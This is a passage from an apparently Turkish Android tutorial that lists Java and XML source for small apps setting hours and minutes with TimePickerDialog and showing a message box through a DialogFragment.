        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }

        return super.onOptionsItemSelected(item);
    }
    @Override
    protected Dialog onCreateDialog(int id) {
        switch (id) {
            case TIME_DIALOG_ID:
                return new TimePickerDialog(this, timePickerListener, hour, minute,true);
        }
        return null;
    }

    private TimePickerDialog.OnTimeSetListener timePickerListener =  new TimePickerDialog.OnTimeSetListener()
    {
        public void onTimeSet(TimePicker view, int selectedHour, int selectedMinute) {
            hour = selectedHour;
            minute = selectedMinute;
            saatsec2txt.setText(new StringBuilder().append(padding_str(hour)).append(":").append(padding_str(minute)));
            timePicker.setCurrentHour(hour);
            timePicker.setCurrentMinute(minute);
        }
    };

    private static String padding_str(int c)
    {
        if (c >= 10)
            return String.valueOf(c);
        else
            return "0" + String.valueOf(c);
    }
}

AndroidManifest.xml;
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.okul.saatayar" >

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Android Programlama:DatePicker, TimePicker, FragmentManager Kullanarak Mesaj Kutusu ile Saat ve Dakika Ayarlama





activity_main.xml;
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
    android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity">

    <TextView android:text="Saat/Dakika Ayarla" android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:id="@+id/textView" />

    <Button
        android:text="Saat Ayarla"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtTime"
        android:layout_below="@+id/textView"
        android:layout_alignParentLeft="true"
        android:layout_alignParentStart="true" />
    <TimePicker
        android:id="@+id/timePicker"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:timePickerMode="spinner"
        android:visibility="gone" />
    <Button
        android:text="Dakika Seç"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtderecesec"
        android:layout_below="@+id/txtTime"
        android:layout_alignParentRight="true"
        android:layout_alignParentEnd="true" />
    <Button
        android:id="@+id/eklemsj"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Mesaj Kutusu"
        android:layout_below="@+id/txtderecesec"
        android:layout_alignParentRight="true"
        android:layout_alignParentEnd="true" />


</RelativeLayout>
fragment_sample_dialog.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent" android:layout_height="match_parent"
    android:orientation="vertical">


    <TextView
        android:id="@+id/title"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Lorem ipsum dolor sit amet..."
        android:textSize="20dp" />

    <Button
        android:id="@+id/dismiss"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Dismiss" />

</LinearLayout>
MainActivity.java;
package com.example.okul.saat3;

import android.app.DatePickerDialog;
import android.app.FragmentManager;
import android.app.TimePickerDialog;
import android.support.v4.app.FragmentActivity;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.TimePicker;

import java.util.Calendar;


public class MainActivity extends FragmentActivity {
    String saat="00";
    String dakika="00";
    String derece1="00";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final Button saatsec1txt = (Button) findViewById(R.id.txtTime);
        final Button derecesectxt=(Button) findViewById(R.id.txtderecesec);
        final Button eklemsj=(Button) findViewById(R.id.eklemsj);
        eklemsj .setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                FragmentManager fm = getFragmentManager();
                MyDialogFragment dialogFragment = new MyDialogFragment();
                dialogFragment.show(fm, "Sample Fragment");

            }
        });

        saatsec1txt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Calendar mcurrentTime = Calendar.getInstance();//
                int hour = mcurrentTime.get(Calendar.HOUR_OF_DAY);//Güncel saati aldık
                int minute = mcurrentTime.get(Calendar.MINUTE);//Güncel dakikayı aldık
                TimePickerDialog timePicker; //Time Picker referansımızı oluşturduk

                //TimePicker objemizi oluşturuyor ve click listener ekliyoruz
                timePicker = new TimePickerDialog(MainActivity.this, new TimePickerDialog.OnTimeSetListener() {
                    @Override
                    public void onTimeSet(TimePicker timePicker, int selectedHour, int selectedMinute) {
                        saat=Integer.toString(selectedHour);
                        dakika=Integer.toString(selectedMinute);
                        if(saat.length()==1){
                            saat="0"+saat;
                        }
                        if(dakika.length()==1){
                            dakika="0"+dakika;
                        }
                        saatsec1txt.setText(saat + ":" + dakika);//Ayarla butonu tıklandığında textview'a yazdırıyoruz
                    }
                }, hour, minute, true);//true 24 saatli sistem için
                timePicker.setTitle("Saat Seçiniz");
                timePicker.setButton(DatePickerDialog.BUTTON_POSITIVE, "Ayarla", timePicker);
                timePicker.setButton(DatePickerDialog.BUTTON_NEGATIVE, "İptal", timePicker);

                timePicker.show();
            }
        });
        derecesectxt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                int derece = 10;

                TimePickerDialog derecepicker;
                derecepicker = new TimePickerDialog(MainActivity.this, new TimePickerDialog.OnTimeSetListener() {
                    @Override
                    public void onTimeSet(TimePicker view, int hourOfDay, int minute) {

                        derece1 = Integer.toString(minute);
                        derecesectxt.setText(derece1);

                    }
                }, 0, derece, true);

                derecepicker.setTitle("Dakika Seç");
                derecepicker.setButton(DatePickerDialog.BUTTON_POSITIVE, "Ayarla", derecepicker);
                derecepicker.setButton(DatePickerDialog.BUTTON_NEGATIVE, "İptal", derecepicker);
                derecepicker.show();
            }
        });

    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }

        return super.onOptionsItemSelected(item);
    }

}

MyDialogFragment.java;
package com.example.okul.saat3;

import android.app.AlertDialog;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.DialogInterface;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;

/**
 * Created by okul on 4.6.2016.
 */
public class MyDialogFragment extends DialogFragment{
    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View rootView = inflater.inflate(R.layout.fragment_sample_dialog, container, false);
        getDialog().setTitle("Simple Dialog");
        Button dismiss = (Button) rootView.findViewById(R.id.dismiss);
        dismiss.setOnClickListener(new View.OnClickListener() {

            @Override
            public void onClick(View v) {
                dismiss();
            }
        });
        return rootView;

    }
    @Override
    public Dialog onCreateDialog(Bundle savedInstanceState) {
        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
        builder.setTitle("Mesaj Kutusu");
        builder.setMessage("Buraya Mesajını yaz");

        builder.setPositiveButton("Ok", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                dismiss();
            }
        });

        builder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                dismiss();
            }
        });

        return builder.create();
    }

}

AndroidManifest.xml;
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.okul.saat3" >

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>